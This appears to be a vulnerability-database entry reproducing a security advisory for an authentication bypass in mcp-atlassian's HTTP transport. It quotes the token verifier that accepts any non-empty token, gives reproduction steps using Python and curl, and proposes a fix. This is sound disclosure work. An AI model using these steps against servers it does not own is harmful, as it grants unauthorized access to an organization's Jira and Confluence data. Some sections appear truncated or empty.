INCIDENT MAP

Browse / MCP and Tool Server Flaws / CVE-2026-77244

[mcp-atlassian] Authentication bypass in HTTP transport: AtlassianOpaqueTokenVerifier accepts any non-empty token

CVE-2026-77244 · 2026-09-22 critical

Class
MCP and Tool Server Flaws (filed by a model that read the advisory)
Technique
Authentication and access control
Affected
mcp-atlassian (PyPI)
Gets past
Authentication check
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
EPSS
0.3% chance of exploitation in 30 days

How it works, in short

The HTTP transport's token verifier accepts any non-empty string, and the default setup applies no auth challenge, so unauthenticated requests reach Atlassian operations. (Our summary, written by a model. The source text is below.)

Details

Description

mcp-atlassian deploys in two common patterns:

Pattern A (single-user, server-side credentials): operator sets
JIRA_USERNAME + JIRA_API_TOKEN (or CONFLUENCE_USERNAME + CONFLUENCE_API_TOKEN)
in environment variables. Server uses these to call Jira/Confluence.
This is the documented quickstart pattern.

Pattern B (multi-user, OAuth or per-request PAT): operator sets up OAuth
proxy or accepts per-user tokens via Authorization or service headers.

The authentication mechanism in HTTP transport has two issues that combine
to permit unauthenticated access to Pattern A deployments:

async def verify_token(self, token: str) -> AccessToken | None:
if not token:
return None
scopes = self.required_scopes or []
return AccessToken(
token=token,
client_id="atlassian",
scopes=scopes,
expires_at=int(time.time()) + 86400 * 30,
)

The docstring documents this: "we accept non-empty tokens and attach
the required scopes."

Composition: an attacker who reaches the HTTP transport (e.g., server
exposed on a port reachable from attacker — direct bind, Docker port
mapping, reverse proxy without auth, container in a network the attacker
joined) can:

Either request reaches tool handlers. The tool handlers, finding no
user-supplied token, use the server's env-var credentials to call
Jira / Confluence. The attacker has full operator-level access to the
operator's Atlassian instance.

This is the same vulnerability class as CVE-2026-27825 (Arctic Wolf,
unauthenticated RCE+SSRF in Atlassian MCP). The previous CVE was for a
different code path; this report concerns the auth verifier and middleware
behavior present in the current main branch.
```
Steps to Reproduce

Source-level demonstration:

cd src/
python -c "
import asyncio
from mcp_atlassian.utils.token_verifier import AtlassianOpaqueTokenVerifier
v = AtlassianOpaqueTokenVerifier(required_scopes=['read:jira-work'])
result = asyncio.run(v.verify_token('anything-at-all'))
print('Accepted:', result is not None)
print('Token stored:', result.token if result else None)
print('Scopes granted:', result.scopes if result else None)
"

Expected:
Accepted: True
Token stored: anything-at-all
Scopes granted: ['read:jira-work']

End-to-end (researcher's own Atlassian sandbox):

export JIRA_URL=https://researcher.atlassian.net
export JIRA_USERNAME=researcher@example.com
export JIRA_API_TOKEN=<researcher's-real-token>
export MCP_TRANSPORT=streamable-http
export PORT=3000
# Do NOT set OAUTH_PROXY_ENABLE_ENV — leave it default (false)
mcp-atlassian

curl -X POST http://localhost:3000/mcp \
-H "content-type: application/json" \
-H "accept: application/json, text/event-stream" \
-d '{
"jsonrpc":"2.0", "id":1, "method":"tools/call",
"params":{
"name":"jira_get_issue",
"arguments":{"issue_key":"PROJ-1"}
}
}'

Expected: returns the Jira issue payload — using the server's
JIRA_API_TOKEN to authenticate to Atlassian. No client-side token
provided.

curl ... -H "Authorization: Bearer anything-at-all" ...

Same result.


Impact:

Attacker profile: any party with network reach to the HTTP transport.
No credentials, no prior account, no privileged position required.

Typical deployment patterns at risk:

Security impact after exploitation:

CVE-2026-27825 (Arctic Wolf, May 2026) was scored CVSS 9.8 Critical for
unauth RCE+SSRF in this same code surface. This report is the auth-bypass
component of the same class against the current main branch.

Suggested Fix

The most direct fix is the standard MCP-server-with-env-creds pattern:

SINGLE_USER_MODE = is_env_truthy("MCP_ATLASSIAN_SINGLE_USER")
if MCP_TRANSPORT == "streamable-http" and not auth_provider and not SINGLE_USER_MODE:
raise SystemExit(
"HTTP transport requires either OAUTH_PROXY_ENABLE=true "
"or MCP_ATLASSIAN_SINGLE_USER=true (acknowledges that env "
"credentials will be used for any incoming request)."
)

Defense in depth: the README quickstart should not encourage exposing
the HTTP transport without auth. The docker-compose.yml in the repo
should bind to 127.0.0.1 only by default.

References

Source: GitHub Advisory Database, used under CC BY 4.0.